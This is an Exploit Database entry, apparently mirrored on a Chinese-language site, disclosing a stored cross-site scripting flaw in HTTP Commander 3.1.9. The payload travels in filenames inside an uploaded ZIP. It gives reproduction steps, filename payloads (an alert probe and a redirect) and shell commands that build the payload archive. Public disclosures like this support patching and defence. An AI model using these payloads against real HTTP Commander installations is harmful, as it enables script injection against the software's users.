HTTP Commander 3.1.9 – Stored Cross Site Scripting (XSS)

• Exploit Database
• 119 阅读

• 作者： Oscar Sandén
  日期： 2022-01-10
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50645/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

  # Exploit Title: HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS) # Date: 07/01/2022 # Exploit Author: Oscar Sandén # Vendor Homepage: https://www.element-it.com # Software Link: https://www.element-it.com/downloads.aspx # Version: 3.1.9 # Tested on: Windows Server 2016   [Description] There is a stored XSS in the &apos;Zip content&apos; feature of the HTTP commander application. The vulnerable field is the filename of the files inside the zip. This vulnerability exists in 3.x of the HTTP commander application.   [Steps to reproduce] 1) Create a file with a xxs payload in its name. Examples: <img src=x onerror=alert(1)>.txt <img src=x onerror="document.location=&apos;https:&apos;+String.fromCharCode(47)+String.fromCharCode(47)+&apos;exploit-db.com&apos;">.txt Or some other JS you like. 2) Zip the files 3) Upload the ZIP-file 4) In HTTP commander, right click the file and select ZIP-content. 5) If the files are in a subfolder, expand it until the filenames are shown.   [Exploit] touch payload/<img src=x onerror=alert(1)>.txt Zip -r test.zip /payload